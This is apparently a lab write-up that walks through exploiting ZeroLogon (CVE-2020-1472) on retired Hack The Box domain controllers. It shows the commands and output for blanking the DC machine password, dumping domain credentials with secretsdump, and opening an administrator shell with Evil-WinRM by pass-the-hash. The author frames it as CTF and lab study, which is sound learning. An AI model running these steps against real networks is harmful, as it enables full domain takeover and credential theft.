CVE-2020-1472 was patched in August 2020 by Microsoft, but it didn’t really make a splash until the last week when proof of concept exploits started hitting GutHub. It truly is a short path to domain admin. I’ll look at the exploit and own some machines from HTB with it.


CVE-2020-1472, or ZeroLogon, abuses a bug in a customized authentication scheme used by the Netlogon Remote Protocol. Secura put out a whitepaper about the vulnerability that goes into all the details of what is broken. The gist is the authentication protocol insecurely uses AES-CFB8, which allows the attacker to spoof the client credential, disable signing and sealing, spoof a call to the this RPC service, which happens to be responsibly for letting a computer update its password, but only to an empty password.

However, once the attacker knows the machine account password for a domain controller, they are able to dump all the hashes from the computer, where it is then trivial to use the administrator hash to get a session. This means that any attacker with network access to an unpatched domain controller can become domain admin.

This exploit will change the machine password of the target domain controller to be the empty string. This will break things. Do not use these outside a CTF / lab environment without fully testing and understanding the risks, and measuring them against your tolerance. Many of the POCs come with scripts to restore the machine password after the attack, which could be useful for helping to restore the machine (but again, you’ll want to test and get comfortable with those).



There are a bunch of POCs out there. I ended up playing with this one. I just went into /opt on my local machine and ran git clone to get a copy.


Impacket is a collection of Python classes that work with network protocols, and are specifically really good at Windows protocols. All of the POCs I found use Impacket to do the Windows-specific protocols. Unfortunately, the POCs all need the latest version of Impactet, which isn’t what is available through the package managers yet. And, you can really dork your computer (or VM) by installing Python tools in multiple ways.

To get around this, I installed a copy of Impacket into a Python virtual environment. I cloned a copy with git clone Then, cd impacket, and I’ll create a virtual env with python3 -m venv venv. Now activate it, and see that the prompt changes:

root@kali:/opt/impacket# source venv/bin/activate
(venv) root@kali:/opt/impacket#

Now pip install . will install Impacket. As long as I’m running with the virtual env activated, it will all work nicely together. To deactivate the virtual environment, I’ll just run deactivate.

Example - Monteverde

There are tons of boxes on HTB that are domain controller to test on. I’ll start with Monteverde. If I try to dump the password hashes using the machine account and an empty password, it fails:

(venv) root@kali:/opt/impacket# -just-dc -no-pass MONTEVERDE\$@
Impacket v0.9.22.dev1+20200915.115225.78e8c8e4 - Copyright 2020 SecureAuth Corporation

[-] RemoteOperations failed: SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)
[*] Cleaning up... 

STATUS_LOGON_FAILURE calls out an invalid logon.

Now I’ll run the exploit:

(venv) root@kali:/opt/impacket# python /opt/CVE-2020-1472/ MONTEVERDE
Performing authentication attempts...
Target vulnerable, changing account password to empty string

Result: 0

Exploit complete!

Now, I’ll run the same secretsdump command. I’ll give it a username of the machine account (typically the hostname with a $ appended), and use the -no-pass flag:

(venv) root@kali:/opt/impacket# -just-dc -no-pass MONTEVERDE\$@                            
Impacket v0.9.22.dev1+20200915.115225.78e8c8e4 - Copyright 2020 SecureAuth Corporation
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets

I can use that administrator hash to get a WinRM session with Evil-WinRM:

root@kali:/opt/impacket# evil-winrm -u administrator -i --hash '100a42db8caea588a626d3a9378cd7ea'

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents>

I tried the same process on a handful of other retired machines, with total success.